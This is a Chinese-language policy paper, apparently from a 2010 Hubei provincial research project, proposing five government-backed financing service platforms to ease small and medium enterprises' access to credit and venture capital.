中小企业融资的社会化服务体系的核心是政府，政府作为公共政策的制定者，必须从宏观角度引导中小企业的发展，为中小企业融资提供服务，但政府力量不能完全取代市场的基础性地位，因此需要积极推动不同的民间组织（包括企业组织、商业协会、金融中介等）参与到这个服务体系之中，政府的主要职能是促进和协调服务体系中各部分的合作和统一。政府支持中小企业融资公共服务平台建设，会大力促进中小企业的发展。中小企业融资服务平台建设在很大程度上缓解生存压力，解决融资难的矛盾。通过建立中小企业融资管理服务平台、融资协作平台、融资技术服务平台、融资信息化网络平台和创业风险投融资平台五大服务平台，可以为中小企业融资提供相应的技术、资金、知识和创业支持，着力解决制约中小企业融资的各种瓶颈问题。

（一）中小企业融资管理服务平台 中小企业的发展离不开政府的支持，世界上许多国家和地区的立法机关和政府都特别注重扶持中小企业，成立专门的中小企业管理机构，制定一系列法律和政策，为中小企业提供强有力的支持，并取得了巨大的成功，累积了丰富的经验。目前，湖北省中小企业服务中心是2003年经省中小企业发展局批准成立的事业单位，是湖北省经济和信息化委员会的下属机构。随着湖北省中小企业作用和地位的地逃，有必要进一步加强中小企业专业融资管理服务机构的建设，甚至在条件成熟的情况下，独立出来。其具体职责主要包括：一是根据有关法律制定和实施中小企业融资的扶持政策和计划，如税收优惠政策、贷款担保计划、技术援助计划等等；二是维护中小企业的利益，如创造良好的经营环境，防止大企业对中小企业的垄断竞争，向更高级别的政府、组织反映中小企业的愿望与要求，可借鉴四川省经验，成立省中小企业发展联席会议；三是加大中小企业与银行等金融机构的沟通，协助社会化服务机构，充分利用社会资源，搞好为小企业融资提供各种担保、资金、信息和技术等方面的服务。

（二）中小企业融资协作创新平台 具体如下：

（1）建立专门的科技型中小企业融资平台。借鉴“天津市中小企业融资贷款和担保双平台”经验，依托湖北省科技型中小企业创新平台，专门成立科技型中小企业融资协作平台。这样的融资平台受理科技型中小企业贷款项目，并且对其进行审查和专家论证。降低科技型中小企业商业性贷款门槛，可以通过建立贷款平台、专家评估制度来实现，这种制度的主要评价内容是科技型中小企业产业化水平、成长潜力和技术创新能力等等。为树立科技型中小企业良好的信用形象，同时，还需辅之以科技型中小企业的信用平台。这样有助于提升企业的信用，树立企业形象，也进一步体现出政府支持中小企业融资的技术创新方向。

（2）建立全省统一的融资协作平台。为协调发展科技型中小企业和一般企业，可以依托湖北中小企业银企保互动平台，在全省建立统一的融资协作平台。该平台可以以各地方的信用担保协会为载体搭建。平台可采取财政无偿注入担保协会启动资金，政府引导，社会参与，市场化的方式进行运作。融资协作平台服务内容主要包括：一是直接对中小企业进行融资，鼓励中小企业股份制改造，加快符合条件的中小企业上市步伐，扩大直接融资范围；二是鼓励现有担保公司为中小企业提供贷款担保；三是建立中小企业信用档案，加强对其信用管理，开展信用评价；四是对中小企业资金需求及时进行调研，建立项目数据库，解决中小企业资金需求。

（3）全省信用联盟。单个中小企业之所以很难从银行取得贷款，这是因为和大型企业相比，中小企业存在着经营风险高、信用度低、资产规模小、可抵押资产不足的缺陷。但是，一旦多个中小企业一起合作，和单个企业相比，集体的资产规模、信用度、可抵押资产就要高很多，这样就能满足商业贷款要求，减少银行放贷风险，降低贷款难度。中小企业这种集体融资模式，被称之为信用联盟。这种信用联盟的融资模式，可以借鉴山东省的经验。山东省主要是通过财政资金来撬动民间资本，进而建立中小企业信用联盟。在这种信用联盟方式下，集中会员缴纳的风险金和财政资金设立互动基金，用于相互资助、贷款担保、逾期代偿等等。信用联盟之后，对于仍然不具备银行贷款条件的企业，可以采取有效资产抵押等方式进行贷款。

（三）中小企业融资技术服务平台 中小企业融资能力的提高离不开技术服务平台的建设。在此，可以借鉴江苏省市金融顾问支持模式。江苏省在2008年推出了民营企业金融顾问制度，由各金融机构推选业务骨干组建金融顾问人才库，并对有融资需求的民营企业实行一对一的结对服务，帮助江苏省中小企业渡过金融危机的难关。在构建中小企业融资技术服务平台的过程中，应该发挥湖北省作为中部金融中心和科教大省的技术资源优势，构建省级和地市级两级区域性融资顾问人才库，将省市内金融专家联系起来，构筑一个区域融资技术交流网，以帮助中小企业更有效、更迅速地从各个融资渠道获取资金。同时在融资技术支持对象的选择中，要增加对区域技术创新和产业升级的引导，将接受政府支持的中小企业纳入湖北省产业结构调整和区域经济增长的轨道上来，降低企业融资成本，提高融资技术水平。

（四）中小企业融资信息化网络平台 信息与网络技术的发展正深刻地影响着社会，并将使社会经济结构、产业构、经济增长方式和资源组织方式发生根本性变化。如何把握信息与网络技术发展带的机遇，为中小企业融资搭建信息化基础设施，构筑融资交流网络，提高企业的竞争力，已经成为地方政府推动中小企业创新的重要课题。与大型企业乃至发达地区相比，湖北的中小企业融资明显存在着资金短缺、信息滞后等一系列问题，严重影响着中小企业的持续快速协调发展。为此，政府部门对中小企业信息化推进的有关费用应直接进行财政补助。湖北省可以以中国中小企业湖北网为主体，加快湖北省中小企业融资信息基础设施建设，加强网络平台建设，通过构建区域融资网络来促进中小企业扩大融资渠道，创新融资方式，提高融资水平，推动中小企业可持续发展。

（五）中小企业创业风险投融资平台 对于处于初创期、成长期的中小创业企业，筹集风险投资资金是很困难的，需要政府进行有效的投融资创业风险投资引导，鼓励国内外社会资本投资设立规范化的创业投资企业，切实解决中小创业企业融资难问题。政府部门可以通过设立创业投资引导基金，引导创业投资企业投资处于初创期、成长期的中小创业企业。此外还应设立省级风险补偿资金，对新设立的符合条件的创投企业给予启动资金补贴、风险补偿，并对创投企业在投资过程中出现的亏损给予适当补贴。提供中介服务生成企业孵化器，帮助中小创业者将发明和成果尽快形成产品进入市场。建立企业孵化器，不仅是扶持中小企业融资的综合性措施，更是社会化服务体系的重要内容。一方面孵化器可以为中小企业提供良好的融资空间和政策环境，培育中小企业尤其是高新技术企业的产生和壮大；另一方面，也可以为创新型的、技术密集型的新建企业提供整套服务设施和管理咨询，帮助小企业提高成活率和融资成功率，为科技成果的“孵化”提供地域载体和实验基地。

综上所述，中小企业是我国国民经济发展中的一支重要力量，是市场经济中最具活力，对市场机制反应最为灵敏的组成部分。而融资难一直是中小企业发展的瓶颈问题，制约着湖北经济进一步的发展。本文基于中小企业的视角，针对目前湖北省中小企业融资政府支持体系的不足，提出了包括外部环境支持子系统和融资公共服务平台子系统的整体融资公共服务平台建设的政策建议，从而为中小企业融资提供包括融资管理、融资协作创新、融资技术支持、融资信息化网络、创业风险投融资支持的多层次、多功能、全方位的社会化服务网络，发挥政府服务中小企业的职能，切实解决中小企业融资难问题。

参考文献：

［1］张忠法：《社会事业科技投入的国际比较研究》，《经济研究参考》2005年第1期。

［本文系湖北省2010年软科学项目“创新财政企业专项资金投入方式的研究”的阶段性研究成果］